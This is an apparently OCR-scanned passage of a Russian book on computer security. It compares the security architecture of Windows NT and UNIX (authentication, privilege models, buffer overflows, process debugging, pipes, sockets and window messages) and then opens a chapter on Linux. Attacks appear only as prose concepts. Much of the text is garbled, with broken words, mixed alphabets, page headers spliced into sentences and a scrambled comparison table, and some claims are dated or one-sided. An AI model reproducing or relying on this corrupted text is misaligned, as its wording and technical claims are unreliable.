ГЛАВА 8 ФИЛОСОФИЯ И АРХИТЕКТУРА NT ПРОТИВ UNIX С ТОЧКИ ЗРЕНИЯ БЕЗОПАСНОСТИ, в которой автор сначала доказывает, что ничто не может быть хорошим или плохим само по себе, а потом оказывается под перекрестным огнем помидоров, летящих со всех сторон Существует мнение, что распространение электронно-вычислительных машин принесло больше проблем, чем их решило. Человечество в своей массе ни морально, ни этически, ни психологически ко всему этому оказалось просто не готово, и компьютерная техника попала в руки к людям, чей интеллект на- правлен лишь на разрушение. И, если до появления Интернета вирусная угро- за в основном сводилась к проблеме ««грязных рук» и беспорядочного копи- рования ПО, то сейчас ситуация существенно изменилась... OPEN SOURCE VS ДИЗАССЕМБЛЕР По определению, данному Ильей Медведовским, атака на компьютерную си- стему — это действие, предпринимаемое злоумышленником, которое заклю- чается в поиске и использовании той или иной уязвимости. Существует мн°-
223 -^системе! ество разнообразных методик поиска уязвимостей, но ведь мы договорились * танавливаться на конкретных реализациях, верно? Вот и давайте разде- ле ОС1 ИМ все мстоД,,ки на лве полярные категории слепого и целенаправленного но- 1(ска. £чеПые методики рассматривают защитный механизм как черный ящик с вхо- дом и выХОЛОМ- МетоДично перебирая всевозможные входные значения, зло- умьинденинк пытается выявить такие из них, которые бы нарушали нормаль- ную работу защитного механизма или в той или иной степени ослабляли степень зашиты. Эта чрезвычайно простая и интеллектуально непритязательная стра- тегия взлома весьма популярна в кругах начинающих хакеров, начитавшихся дешевой фантастики и уверовавших в свою исключительность. Впрочем, по- сле ...дцатой по счету попытки терпение «хакера» кончается, и эйфория исче- зает. Конечно, время от времени некоторым особо везучим счастливчикам все- таки удается проникнуть то в одну, то в другую защищенную систему, но особой опасности такие атаки не представляют в силу своей малочисленности. Действительно, защитный механизм, принцип действия которого неизвестен, может быть взломан только грубой силой, то есть имеет вполне предсказуемую степень защищенности. Поэтому любая мало-мальски серьезная акция начи- нается с изучения атакуемого объекта {целенаправленный взлом). Отсюда: при прочих равных условиях степень защищенности системы обратно пропорцио- нально легкости анализа ее кода. А легкость самого анализа в первую очередь определяется доступностью исходных текстов защитного механизма! Большинство UNIX’ob поставляются вместе с исходными текстами, в то время как исходные тексты NT недоступны1, а анализ дизасссмблерных листингов не только чрезвычайно трудоемок и утомителен сам по себе, но еще и требует из- рядной профессиональной подготовки, которая есть далеко не у всех. К тому же подсистема защиты NT много сложнее аналогичной подсистемы большин- ства UNIX’ob и весьма поверхностно документирована, чем и отпугивает мно- гих потенциальных злоумышленников. Как следствие: количество дыр, обнаруженных в NT за все время ее существо- вания, можно свободно пересчитать по пальцам одной руки (причем большая часть из них была обнаружена случайно). В UNIX же дыры обнаруживаются постоянно. С другой стороны.... Каждому хакеру — по системе: -с Другой стороны, степень опасности ««дыры» зависит не столько от ее ««ли- т ’ных размеров», сколько от распространенности операционной системы, в ко- в )Ои О11а обнаружена. Огромное количество клонов UNIX ставит эту систему зк^есь'ма выигрышное (с точки зрения безопасности) положение. К тому постоянно переписываемые, да и просто альтернативные ядра даже одну- <)’р| . ' ' —---- строки ппсалисьещс до того, как стало известное факте кражи исходных текстов Windows 2000. ькч твеиио упрощающих поиск дыр (н такие дыры действительно были найдены!).
224_______Глава 8. Философия и архитектура NT против UNIX сточки зрения fa, опа^^ единственную систему размножают до целого семейства, благодаря че вимость, найденная водной версии ядра, зачастую недействительна пп"^”3' остальных. Я вссх В результате могущество хакера, нашедшего дыру в UNIX, оказывается ниже, чем если бы дыра аналогичных размеров была обнаружена в NT (в*”010 немногочисленности своих разновидностей каждая отдельно взятая верс^х^ установлена на значительно большем количестве машин, нежели UNIX) Их но поэтому NT все-таки ломают или, во всяком случае, пытаются это делать Соблазн в самом деле настолько велик, что хакеров не останавливают ни ото т ствие исходных текстов, ни трудоемкость анализа. К тому же ядро NT не пере- писывается каждый день и практически все дыры, обнаруженные в NT 4.0 ос таются актуальными и в Windows 2000, а то и в Windows ХР. (Подробнее об этом рассказывается в книге Криса Касперски «Техника сетевых атак».) Напротив, если некоторая операционная система установлена па считанных компьютерах в мире, ломать ее сподобятся разве что мазохисты. Во всяком слу- чае, хакеру потребуется весьма сильный стимул для изучения последней. Ко- нечно, если эта операционная система защищает банковский компьютер, охра- няющий миллиард электронных долларов, то за его сохранность пи один администратор не рискнет поручиться. Что и неудивительно, ведь малораспро- страненные операционные системы практически полностью выпадают из вни- мания специалистов по информационной безопасности, вследствие чего час- тенько содержат большое количество тривиальных и легко обнаруживаемых даже при поверхностном анализе ошибок. Тем не менее установка малораспространенной системы автоматически отсе- кает большую армию «хакеров», пользующихся для атак чужими эксплоита- ми. А чтобы вас не атаковал профессионал, необходимо создать второй уро- вень защиты — узел с проверенной временем и специалистами операционной системой. Неплохая идея: на передний план обороны водрузить какой-нибудь «редкозе- мельный» клон UNIX, а на второй — NT. Большинство хакеров, как показыва- ет практика, в основном специализируется на одной операционной системе, и лишь в исключительных случаях — на двух сразу. UNIX — ЭТО ПРОСТО! Сложность отладки и тестирования компьютерных программ стремительно раС тет с увеличением их сложности. И начиная с некоторого уровня затраты натШа тельное «вылизывание» программы начинают перевешивать совокупный ДоХ от ее продаж, вынуждая разработчиков ограничиваться лишь поверхности 1 тестированием (если программа не зависла во время запуска — это уже хоро Современные операционные системы давным-давно перешагнули через эт°* рубеж, и никакая из них не застрахована от ошибок. С вероятностью, близк к единице, можно утверждать, что критические ошибки присутствуют во
()С обшего в3ломан ^еннь|й доступ: оружие пролетариата?______________________225 назначения, и потому любой узел в сети может быть гаравтирован- . это всего лишь вопрос времени и усилий. МеЖДУ тсМ О1П1к<)КН крайне неоднородны по своей природе: одни лежат, что на- Л1Вается, на поверхности, и обнаруживаются даже автоматизированными сред- •твами контроля качества кода; другие же, напротив, зарыты так глубоко, что найти их можно только случайно. Фундаментальная проблема отладки заключа- ется в том, что любая, даже самая незначительная, модификация программного кода чревата появлением каскада ошибок, возникающих в самых неожиданных местах. И потому внесение каких бы то пи было изменений во внутренности опе- рационной системы и/или сопутствующих ей приложений должно сопровож- даться полным циклом повторного тестирования. Но ведь полное тестирование, как уже было показало выше, выполнить просто невозможно! Чрезмерная сложность NT вкупе с огромным количеством изменений, вноси- мых в код каждой новой версии, собственно, и объясняют скверное качество ее тестирования. Несмотря на все усилия, предпринимаемые Microsoft, уязвимость N'T заложена уже в самой политике ее развития, а потому является принципи- ально неустранимой, то есть фундаментальной. Большинство UNIX’ob, напротив, довольно компактны и содержат минимум не- обходимых для функционирования системы компонентов (или, во всяком слу- чае, позволяют урезать себя до такого состояния). К тому же их медленное, эво- люционное (а пе революционное, как у NT) развитие отнюдь не способствует появлению грубых, легко обнаруживаемых ошибок, которыми так славится NT. УДАЛЕННЫЙ ДОСТУП: ОРУЖИЕ ПРОЛЕТАРИАТА? Одно из концептуальных отличий философии NT от UNIX заключается в том, что UNIX не делает практически никаких различий между локальным и уда- ленным доступом к машине. В NT же, напротив, лишь некоторые действия мо- гут быть выполнены удаленно, а для полноценного управления сервером адми- нистратор вынужден прибегать к физическому доступу. Никто не спорит — удаленно управлять сервером очень удобно, но давайте заду- маемся — насколько это безопасно? Увы, никакое удобство не проходит даром! Что комфортно администрировать, то комфортно и атаковать! Этому, кстати, будут способность и продвинутые командные интерпретаторы, поддержива- ющие полноценные языки программирования, разительно отличающиеся от того уродства, что переваривает примитивная оболочка NT. Вообще же в NT Удаленным доступом очень мало что .можно сделать (правда, начиная с Win- dows 2000 в ней все-таки появилось более или менее совершенные механизмы Удаленного управления). Тем не менее не стоит впадать в крайность и полностью отказываться от воз- можности удаленного администрирования. Конечно, полностью запретив уда- ленный доступ, вы в значительной степени усилите защищенность своего сер- вера но... при этом будете постоянно находиться непосредственно рядом ,к. 976
226 Глава 8. Философия и архитектура NT против UNIX сточки зрения безогт с сервером. Спрашиваете: зачем? А кто хакеров будет гонять?! Ведь npt>11 нуть па атакуемую машину можно через любой установленный на ней сеп (скажем, WEB), и потому крайне нежелательно лишать себя всех средСТв Ис станционного мониторинга и управления сервером. Словом, удаленное управление — палка о двух концах, одновременно и ос^ ляютцая .защищенность узла, но и усиливающая оперативность выявления и ней трали.зации злоумышленников. С другой стороны, в ответственных случаях от удаленного управления все же лучше совсем отказаться, .заменив его прик0 ванным к серверу оператором. КОМПЛЕКТНОСТЬ ШТАТНОЙ ПОСТАВКИ Комплект штатной поставки подавляющего большинства UNIX включает в се- бя огромное количество разнообразных программ, от игрушек до компилято- ров и интерпретаторов. А чем больше приложений установлено на машине, тем выше вероятность образования «дыр» в системе безопасности! К тому же на- личие компиляторов (интерпретаторов) на атакуемой машине .значительно уп- рощает взлом, поскольку, во-первых, усиливает переносимость эксплоитов, во- вторых. позволяет автоматизировать атаку, и, в-третьих, предоставляет доступ к функциям и сервисам, недоступным из командной оболочки. Операционные системы семейства NT, укомплектованные более чем скромным набором утилит, в этом отношении выглядят более защищенными. Впрочем, это непринципиальное различие: грамотный администратор и так удалит и.з UNIX все лишнее. МЕХАНИЗМЫ АУТЕНТИФИКАЦИИ Механизмы аутентификации пользователей (то есть, попросту говоря, алгорит- мы проверки правильности пароля) и в UNIX, и в NT построены на практиче- ски идентичных принципах. А именно: эталонный пароль вообще нигде не хра- нится — вместо этого используется его хеш (грубо говоря: контрольная сумма). Пользователь вводит пароль, операционная система хеширует его по тому млИ иному алгоритму и сравнивает полученный результате хеш-су.ммой эталонно- го пароля, хранящейся в специальной базе паролей. Если они совпадают, то все ОК и, если нет, соответственно, наоборот. Такая схема (при отсутствии ошибок реализации, конечно) гарантирует, что даже если злоумышленник и получит доступ к базе паролей, он все равно не сможет проникнуть в систему иначе, чем методом перебора. Впрочем, если спуститься с небес идеализированных мате матических концепций па грешную землю, можно обнаружить, что «норма-11’ ные герои всегда идут в обход». В частности, в большинстве UNIX’ob вводи мый пароль открытым текстом передается по сети и при наличии хотя бы одн°г° уязвимого узла в цепочке передачи может быть перехвачен хакером. В NT Же
227 прние своих привилегий poB5!H^----—---------- j-рытый пароль никогда не перелается (ну, разве что администратор не на- поит ее соответствующим образом), и используемая в ней схема аутентифи- С^иИ устойчива к перехвату трафика. С тругой СТОРОНЬ|’ NT крайне небрежно относится к охране парольной базы от осЯгательств хакеров. На первый взгляд кажется, что никакой проблемы во- обще нет, так как доступ к базе имеется лишь у системы, администраторов и ограниченного количества специально назначенных администратором пользо- вателей (например, операторов архива, нерп одически сохраняющих базу на ре- зервных носителях). А вот в некоторых, правда, довольно немногочисленных UNIX’ax, файл паролей свободно доступен всем пользователям системы и за- частую даже «виден» по сети! Ну и что с того? — спросите вы, - ведь паролей в парольном файле все равно нет, а «обращение» хеша методом перебора зани- мает слишком много времени, пускай хакер перебирает, если ему это занятие так нравится... Хорошо, тогда такой вопрос: возможно ли в одно.м-единствеи- ном переборе взломать все машины в сети? Не спешите отвечать «нет», ибо пра- вильный ответ: «да»! Объем жестких, дисков сегодня возрос настолько, что ха- кер может сохранить хеши всех перебираемых паролей. Неважно, сколько это займет времени: месяц или даже несколько лет, — ведь теперь у взломщика по- явится возможность практически,w.iывенно восстановить пароль но его хешу — была бы только парольная база в руках! .Мало того, что в NT резервные копии парольной базы по умолчанию хранится в общедоступных каталогах, так еще и алгоритм аутентификации не использует привязки (salt), в результате чего хеши одинаковых паролей в NT всегда будут совпадать, значительно упрощая тем самым взлом! Впрочем, от атак данного типа привязка все равно не спасает, разве что немного продлевает «мучения» системы. ПОВЫШЕНИЕ СВОИХ ПРИВИЛЕГИЙ Модель привилегий пользователей и механизмы контроля правдоступа — клю- чевое и вместе с тем наиболее уязвимое (по статистике) звено подсистемы бе- зопасности любой многопользовательской ОС. В общем случае к ней предъяв- ляются следующие требования: Модель пользователей должна быть достаточно гибкой, удобной и интуи- тивно попятной, в противном же случае ошибки администрирования неиз- бежны. 2- Механизмы контроля прав доступа должны не только гарантировать певоз- . Можность несанкционированного повышения уровня своих привилегий, по и быть максимально устойчивыми к программистским ошибкам. 3- И сама система, и работающие в ней пользователи должны обходиться ми- нимально необходимым уровнем привилегий. Анализ показывает, что перечислен ные выше требования не выполняются ни °Дной ОС массового назначения, а потому все они в той или иной степени заведомо уязвимы. Между тем степень защищенности UNIX и NT различна.
безопасного^ 228 Глава 8. Философия и архитектура NT против UNIX сточки зрения Модель привилегий пользователей, применяемая в большинстве UNIX, явля ется одноуровневой и допускает существование только двух типов пользовате лей: обычные пользователи и суперпользователь (он же root, или администра тор). В NT же, напротив, используется иерархическая схема, причем, помимо root’a, в пей имеется еще один суперпользователь — система. Что это означа- ет? А то, что в NT, в отличие от UNIX, каждый пользователь получает мини- мум необходимых ему прав и никогда не повышает уровень своих привилегий без особой необходимости. Широко распространенное заблуждение гласит, что правильное администрирование UNIX позволяет добиться такого же точно рас- пределения прав доступа, как и в NT, пускай и ценой большего времени и уси- лий. На самом же деле это не так. Отсутствие системного пользователя в UNIX приводит к невозможности вы- полнения целого ряда действий иначе, чем временным повышением привиле- гий запущенной программы до root’a. Взять хотя бы классическую задачу сме- ны пароля. Пользователи могут (и должны!) периодически менять своп пароли. Но ведь в UNIX (как, впрочем, и в NT) пароли всех пользователей хранятся в одном файле, причем используемая модель привилегий не позволяет назна- чать различным частям файла различные правадоступа. Но ведь должен пользо- ватель как-то изменять свой пароль, верно? В UNIX эта задача решается так: утилите, ответственной за смену пароля, присваивается специальный атрибут, позволяющий ей при необходимости получать права root’a, что опа, собствен- но, и делает. Если бы этот механизм использовался только при операциях с па- ролями, большой беды и не было бы. На самом же деле такой атрибут необхо- дим очень большому количеству приложений, в частности почтовым и web- серверам. Задумайтесь, что произойдет, если в одной из программ, исполня- ющихся с наивысшими привилегиями, обнаружится ошибка, так или иначе при- водящая к возможности передачи управления хакерскому коду? А ведь такие ошибки сыплются из UNIX’bix программ, как из рога изобилия! Совершенно иная шгтуация складывается в среде NT. Непривилегированные пользователи только в исключительных случаях вынуждены повышать свои нрава до уровня администратора, а все остальное время они пользуются API- функциями операционной системы, выполняющими потенциально опасные действия «руками» самой ОС. Даже если в одном из таких приложений будет допущена ошибка и хакер захватит управление, — он унаследует минимум прав и причинит системе минимум вреда. Таким образом, NT устойчива к программистским ошибкам, a UNIX чрезвы- чайно чувствительна к ним. УГРОЗА ПЕРЕПОЛНЕНИЯ БУФЕРА Переполнение буфера — наиболее «популярная» и в то же время наиболее ко- варная ошибка, которой не избежало практически ни одно сколько ни будь слож- ное приложение. Коротко объясним ее суть: если размера выделенного програм- мистом буфера вдруг окажется недостаточно для вмещения всех копируемых в него данных, то содержимое памяти за концом буфера окажется разрушено
F 229 ^^р^мужому адресному пространству точцее — заметено) не вместившимися в буфер данными. В зависимости от ^•гуаини за концом буфера могут находиться: j Другие буферы и переменные программы. 9 Служебные данные — в частности, адрес возврата из функции. Исполняемый код. Незанятая страница памяти. 5 Отсутствующая страница памяти. 4. Наибольшую опасность представляют 2-й и З-й пункты, так как они чреваты возможностью полного захвата контроля над уязвимой программой. Последний пункт менее коварен и в худшем случае приводит к возможности реализации атаки «отказа в обслуживании» (при обращении к отсутствующей странице памяти процессор выбрасывает исключение, приводящее к аварийному завер- шению уязвимого приложения). Угроза от первого пункта в значительной сте- пени зависит от рода и назначения переменных, находящихся за концом пере- полняющегося буфера, и хот я теоретически уязвимое приложение способно на что угодно, на практике угроза оказывается не столь уж и велика. Есть еще одно обстоятельство — для полноценного захвата управления хакер должен иметь возможность исполнять на удаленной машине собственный код, обычно передаваемый непосредственно через сам переполняющийся буфер. В за- висимости от расположения уязвимого буфера и «характера» операционной си- стемы исполнение переданного хакером кода может быть как разрешено, так и нет. Все системы: и UNIX, и NT потенциально допускают существование пунктов 1,2,3 и 4, исключая лишь единственный из них — пункт 3. Следовательно, они в равной мере подвержены угрозе переполнения буфера. Кроме того, и UNIX, п NT имеют исполняемый стек (то есть разрешают выполнение кода в стеке) и запрещают его выполнение в сегменте данных. А это значит, что переполне- ние буферов, содержащихся в автоматических (то есть стековых) переменных, несет в себе угрозу полного захвата управления над уязвимой программой. Правда, для некоторых UNIX существуют заплаты, отнимающие у стека право выполнения, но сфера их применения весьма ограничена (исполняемый стек необходим множеству вполне легальных программ, в частности, компиляторов). Самое забавное, что и UNIX, и NT написаны на Си — языке программирова- ния, не поддерживающем автоматический контроль границ массива и потому подверженном ошибкам переполнения. Старожилы говорят, что в некоторых версиях UNIX ошибка переполнения присутствовала даже на вводе имени пользователя при регистрации в системе. ДОСТУП К ЧУЖОМУ АДРЕСНОМУ Пространству с защитой адресных пространств процессора связано огромное количество слу- хов, сплетен, легенд, да и простого непонимания самой философии защиты. J
230 Глава 8. Философия и архитектура NT против UNIX сточки зрения безо Популярные руководства постоянно упускают из виду, что эта защИт. вую очередь предназначается для непредумышленного доступа, то есть щ ** "'I1' чтобы процесс, пошедший «в разнос», не утащил бы на тот свет и всеост1ЯТ°Г0, процессы, исполняющиеся параллельно с ним. Ь|||,1е Полноценной защиты от предумышленного доступа в чужое адресное цп, ство ни в UNIX, ни в NT на самом деле нет. Собственно, UNIX вообще Прел* ставляет никаких средств такого взаимодействия, кроме разве что разде™ (то есть совместно используемых) областей памяти, но эго совсем пето NT^ обеспечивает весьма гибкий контроль доступа к адресному пространству п*е цессоров, но все-таки значительно проигрывает UNIX в отношении безопасно сти. И вот почему: • в NT доступ в чужое адресное пространство по умолчанию разрешен всем даже гостю, и если какой-то процесс (точнее его владелец) нс хочет, чтобы в него проникали, он должен заявить об этом явно; • в UNIX для отладки процессов необходимо, чтобы отлаживаемый процесс не только дал согласие па свою отладку, но и выполнил некоторые действия, причем отладка уже запущенных процессов запрещена! NT же беспрепят- ственно позволяет отлаживать активные процессы и инициировать отладку новых, естественно, с наследованием всех привидений пропесса-отладчика (то есть в общем случае отладка более привилегированных процессов из менее привилегированных невозможна). Короче говоря, NT предоставляет весьма вольготные условия для существова- ния Stealth-вирусов, клавиатурных и паролей шпионов и всех прочих тварей, нарушающих покой системы. МЕЖПРОЦЕССОРНЫЕ КОММУНИКАЦИИ Процессы должны обмениваться данными, — это бесспорно, в противном слу^ чае такая система не будет никому нужна. С другой стороны, наличие каких то ни было средств межпроцессорного взаимодействия потенциально позвали ет атакующему пагубно воздействовать на чужой процесс, причиняя его дельцу те или иные неприятности. Например, «напрягать» жертву посьь больших объемов бессмысленных данных, которые та категорически неХ[я<ец принимать. Следовательно, каждый из взаимодействующих процессов ДО- иметь возможность: • самостоятельно решать, с кем ему взаимодействовать, а с кем нет, • уметь определять подлинность процессов отправителей и процессов чателей; • контролировать целостность передаваемых/принимаемых данных; • создавать защищенный канал связи, устойчивый к перехвату графи1®’ Многообразие средств межпроцессорного взаимодействия, поддержи1®^. н3 современными операционными системами, чрезвычайно затрудняет от
231 il(iTpoijg£9oPHble коммуникации >ир°с: a в|,1ПОЛНЯЮТСЯ лп перечисленные выше требования на практике? Здесь РаС< м0Т1’им лишь некоторые из наиболее популярных средств мсжнроцсс- 'о ног° взаимодействия: каналы, сокеты и сообщения. ^ИМЕНОВАННЫЕ каналы именованные каналы позволяют связывать лишь родственные процессы и по- тому полностью отвечают условию «самостоятельно решать, с кем ему взаимо- действовать, а с кем нет». Даже если посторонний процесс каким-либо образом Ухитрится получить дескриптор неименованного канала нс родственного ему процесса, то он (дескриптор) вне контекста своего процесса потеряет всякий смысл, и ничего «накостного» с ним злоумышленник сделать не сможет. Если же злоумышленник проникнет в родственный процесс и попытается, скажем, облить своего соседа толстой струей информационного мусора, то... ничего не произойдет. Если процесс-читатель не будет успевать «заглатывать» посыла- емые ему данные, система автоматически приостановит процесс передачи, не давая атакуемому процессу «захлебнуться». Причем жертва вольна сама ре- шать — выносить ли ей такие издевательства дальше или же просто закрыть канал и послать невоспитанного хакера куда подальше. ИМЕНОВАННЫЕ КАНАЛЫ Именованные каналы доступны всем процессам в системе, а в NT — и процес- сам, исполняющимся на остальных узлах сети. Естественно, для открытия име- нованного канала необходимо иметь соответствующие привилегии, но вот для создания нового именованного канала такие привилегии не обязательны, при- чем под NT не существует легальных способов определения «авторства» созда- теля того или иного канала! Учитывая, что именованные каналы активно ис- пользуются системой для передачи зашифрованных паролей и удаленного управления реестром, угроза внедрения подложных каналов уже не покажется незначительной. Частично эта проблема решается установкой соответствующего пакета обновления (в частности, для Windows 2000 это Service Pack 2), кото- рый предотвращает создание подложного экземпляра уже существующего име- нованного канала, между тем возможность создать подложный канал "с нуля» по-прежнему остается, а механизмов идентификации создателей ка- пала в Win32 API как не было, так до сих нор и нет. Локальность именованных ’Опалов в UNIX оказывается одновременно и сильной, и слабой ее стороной. е,м не менее отсутствие удаленного доступа к каналам еще не дает повода рас- С1абляться — ведь создать подложный канал может даже гостевой пользова- тель, что в ряде случаев позволяет ему успешно атаковать более привилегиро- ппнные процессы. Основанные каналы имеют еще один серьезный недостаток: обработка каж- •1°го нового подключения требует какого-то количества системных ресурсов, ^Максимальное количество создаваемых экземпляров канала обычно не огра- в,,Чен0 Создавая все новые и новые экземпляры, злоумышленник «сожрет» Все Ресурсы, и система рано или поздно «встанет». Даже если максимальное
232 Глава 8. Философия и архитектура NT против UNIX с точки зрения безоп; количество экземпляров было заранее ограничено, получим те же самые я" только в профиль. Захватив все свободные каналы, злоумышленник нару нормальную работу всех остальных легальных процессов. Система, правд-] ' рухнет, но пользы от этого будет немного... Решение проблемы состоит в вне Н' нии квоте клиентской (а не серверной!) стороны, но, во-первых, не совсем ясНс как такое реализовать в сетевой среде, а, во-вторых, клиентскую защиту ВСсг, легко обойти. 4,1 СОКЕТЫ Сокеты, использующиеся в основном в межузловых межпроцессорных взаи- модействиях (хотя в UNIX они широко применяются п для локального обмена данными), так же катастрофически пезащищепы перед попыткой захвата всех свободных ресурсов, погромное количество постоянно совершающихся flooding-атак — лучшее тому подтверждение. Кстати, наличие «сырых» (RAW) сокетов в UNIX делает ее платформой номер один для любой мало-мальски серьезной TCP/IP-атаки. Системы семейства NT долгое время вообще не по- зволяли «вручную» формировать сетевые пакеты, и потому атаки типа Land, Teardrop и Bonk осуществить с их помощью было невозможно (правда, это еще не означает, что NT устойчива к таким атакам). Не этим ли обстоятельством вызвана патологическая любовь большинства хакеров к UNIX? Правда, сегод- ня только ленивый не найдет NDIS-драйвер к NT, позволяющий работать с TCP/IP-пакстами на низком уровне, так что репутация UNIX как чисто ха- керской платформы в скором будущем обещает пошатнуться, тем более что Windows 2000/ХР сырые сокеты уже поддерживают. СООБЩЕНИЯ Сообщения представляют еще один тип неавторизированпого межпроцессор- ного взаимодействия. В NT любой процесс независимо от уровня своих приви- легий может послать сообщение окну другого процесса (в том числе и более привилегированного!), причем нет никакой возможности установить отправи- теля сообщения! Вот тебе, бабушка, и сказка о безопасности! Находим окно ка- кого-нибудь привилегированного приложения (а такая возможность у нас есть), получаем дескриптор интересующего нас элемента управления (кнопки, пунк- та меню, строки редактирования) и... эмулируем ввод пользователя!!! Приви‘ легированный процесс все сделает за нас, так ничего при этом и нс заподозрив- Таким образом, запускать средства администрирования безопасно лишь паза ведомо «стерильной» машине (по сети сообщения не передаются, точнее... не передаются в штатной конфигурации NT, но ряд утилит удаленного управле пия системой позволяет обмениваться сообщениям и по сети). Нашумевшая дыра, связанная с передачей shell-кода в строку редактирования привилегированного процесса с последующей установкой таймера, выпоЛ|1Я ющегоэтот код в адресном пространстве и с привилегиями атакуемого пр°,1еС са, в настоящее время по заверениям Microsoft уже устранена. Подробное111 рецепта «лечения» еще не известны, но, но всей видимости, они своДятсЯ
и* таблица 233 ь- цровеРке a'iPecj таймерной процедуры — опа не должна находиться в буФеРа какой’ оы гони было окна. Ну, еще быть может, запретили нередаватьс'00^**10’ цнеЫМ_Т1МЕР°°лее привилегированным процессам. Полностью же запрет!*1'1’(**л 11 защитить) межпроцессорную рассылку сообщений невозможно, носко.'1 ькУо,,а являет • я частью философии оконной подсистемы Windows и любые попытки внесения каких оы то ни было ограничений пе замедлят столкнуться с пробле- мами совместимости и приведут к неработоспособности большого коЛ!>чества прикладных программ. Оконная подсистема UNIX хороша тем, что, не является неотъемлемой частью системы, и при желании от нее можно отказаться, ограничившись надежным и безопасным текстовым режимом. К тому же обмен сообщениями в граФ»ч<" ских оболочках UNIX обычно осуществляется по протоколам ТСР/И’- кото* рые защищают окна и элементы управления одного процесса от посягательств всех остальных (если, конечно, сам процесс-владелец этого не захочет)- Итак: межпроцессорный обмен в и UNIX, и в NT выполнен очень n.'ioS0 ** 110 тому небезопасен, причем адекватных средств защиты от рассмотреннь,х выше атак ни в близком, ни в отдаленном будущем, по-видимому, не ноявится> Ta,J как «собака зарыта» на уровне базовых концепций и философии той И друюи системы. А философию очередной заплатой не поменяешь. СВОДНАЯ ТАБЛИЦА Так какая же система надежнее? В идеале, конечно, следовало бы присвой каждой характеристике свой «вес» и посчитать «очки» обеих систем. I оско- ку «весомость» понятие субъективное, нам ничего не стоит настроить измерь тельную шкалу так, чтобы более надежной оказалась наша любимая система, причем такая подтасовка может происходить и подсознательно, а потоку в сво бодной таблице, приведенной ниже, никакие весовые категории вооб*де |,с ис пользуются (табл. 8.1). Не стоит также забывать, что оценка безопасности системы весьма чувстви тельна к количеству и роду сравниваемых характеристик. Исключая £>Д**и или Добавляя другие, мы можем сильно повлиять на конечный результат"- Так что '*е стоит считать паше сравнение истиной в последней инстанции... лица 8.1. Сравнение основных характеристик UNIX и NT, прямо или косвенно относящихся к безопасности. Неудачные характеристики . выделены полужирным шрифтом УСТ" —— s ДС^ктеристика NT UNIX и полнота Документирована Документирова н#а чикументирования поверхностно весьма обстоятельно стУпность исходных текстов Недоступны Доступны ^2^ность анализа Высокая Умеренная продолжение &
234 Глава 8. Философия и архитектура NT против UNIX с точки зрения бмп - “ ——- Таблица 8.1 [продолжение) NT UNIX — Распространенность Количество п редставителей NT ограничено, наблюдается ярко выраженная преемственность дыр от одних версий системы к другим Существует огромной ~- количество клонов, ПрИчеи ошибки одной версии системы зачастую отсутствуют в других Сложность кода Код излишне сложен Код предельно прост Поддержка удаленного администрирования Частично поддерживает Поддерживает Комплектность штатной Содержит минимум Содержит огромное поставки необходимых приложений количество приложений, в том числе и не протестированных Механизмы аутентификации Устойчив к перехвату паролей Передает открытый пароль Использование привязки Не использует Использует Выполнение Выполняется операционной Выполняется самим привилегированных операций системой приложением с временным повышением привилегий Модель пользователей Иерархическая Одноуровневая Защита от переполнения Отсутствует, причем Отсутствует, причем сама буфера сама ОС написана на языке, провоцирующем такие ошибки ОС написана на языке, провоцирующем такие ошибки Возможность доступа в адресное пространство чужого процесса Имеется, разрешена по умолчанию Отсутствует Возможность отладки Имеется, разрешена Имеется, но связана процессов по умолчанию с рядом ограничений Возможность отладки активных процессов Удаленный доступ Имеется, но требует наличия соответствующих привилегий Отсутствует к именованным каналам Есть Нет Создание подложных Есть, можно создать Есть, можно создать лишь именованных каналов и канал, и даже подложный экземпляр уже открытого канала подложный канал Защита именованных каналов от нежелательных подключений Отсутствует Отсутствует Защита сокетов от нежелательных подключений Отсутствует Отсутствует Возможность эмуляции ввода в более привилегированный процесс Имеется Отсутствует
таблица 235 правда ли, забавно, — NT защищена намного слабее (приведенная выше таб- неопровержимо доказывает это), но ломают чаше всего все-таки UNIX, ’1IlU*NT. Парадокс? Или все-таки отсутствие исходных текстов дает о себе знать? о всяком случае, других причин мы просто нс видим... Единственное, что можно „положить: NT ломают, но в силу успешности взлома (и уязвимости самой системы) эти взломы просто не удается зафиксировать. В-общем, здесь есть пит3 Д;,я размышлений!
1 ГЛАВА 9 КРАСНАЯ ШАПОЧКА, АГРЕССИВНЫЙ ПИНГВИН, ПРОНЫРЛИВЫЙ ЧЕРТЕНОК И ВСЕ-ВСЕ-ВСЕ... из которой выясняется, что Windows не такая уж и плохая система ...LINUX сейчас переживает настоящий демографический взрыв и по агрес- сивности своей рекламы обгоняет все WINDOWS-системы, вместе взятые. Ре- клама утверждает, что это надежная, профессионально ориентированная, хо- рошо защищенная система, которая никогда не зависает и показывает чудеса производительности даже на морально устаревшем железе. Попробуем Р3' зобраться, насколько это так... — я поставил LINUX, что мне теперь делать? — снести и поставить обратно Windows! из диалогов RU.LINUX Основной сегмент рынка операционной системы UNIX и производных <>т ,,се систем приходится на долю наукоемких вычислений, мощных серверов н ПР° мышленных роботов. Ее можно найти и в исследовательских лаборатория4 и в центрах управления полетами, и в проектных институтах, и лаже в окрУ*' ющем нас электротехническом оборудовании, таком, как контроллер лифта Н- МРЗ-нлейер.
237 „ шапочка, агрессивный пингвин, пронырливый чертенок и все-все-все... Красну---------------------- (етим, что ни домашние, ни офисные компьютеры в этот список нс входят. .'Ю отнюдь нс в отсутствии у UNIX графического интерфейса или сложпо- Ч '^е освоения. Есть и интерфейс, и интуитивно-понятное программное обсс- fTI'. 1П1е, зачастую даже более дружелюбное к неподготовленным пользовате- 1ЯМ чеМ продукция Microsoft. Так почему же тогда UNIX-подобные системы ’ и’меют па этом сегменте рынка никакого успеха? gcnit человек, установивший UNIX, судорожно хватается за мышь и рыщет в по- исках Might Commander и Star Office, то, скорее всего, он попросту не осознает своп потребности и UNIX ему совершенно нс нужен. Ему нужен Windows, воз- можность запускать Windows-программы, открывать Windows-документы (точ- нее документы, создаваемые Windows-приложениями) и т. д. Переход на UNIX, решая одни проблемы, добавляет множество новых и в целом не обеспечивает никаких преимуществ. Напротив, вы будете ограничены в вы- боре железа, останетесь без систем распознавания текста, словарей-переводчи- ков, моря финансового программного обеспечения и полноценной поддержки Office-документов. Взамен же вы не получите ровным счетом ничего. Надежность? Будучи неправильно настроенными, регулярно падают все системы без исклю- чения, и UNIX в том числе. Стабильность? Пи одна более или менее серьезная программа не застрахована от ошибок, а качество тестирования большинства дистрибутивов UNIX, вообще говоря, очень даже невелико. Защищенность? Сточки зрения архитектуры системы UNIX стоит на одной ступеньке с WindowsNT и без регулярной установки свежих обновлений быстро 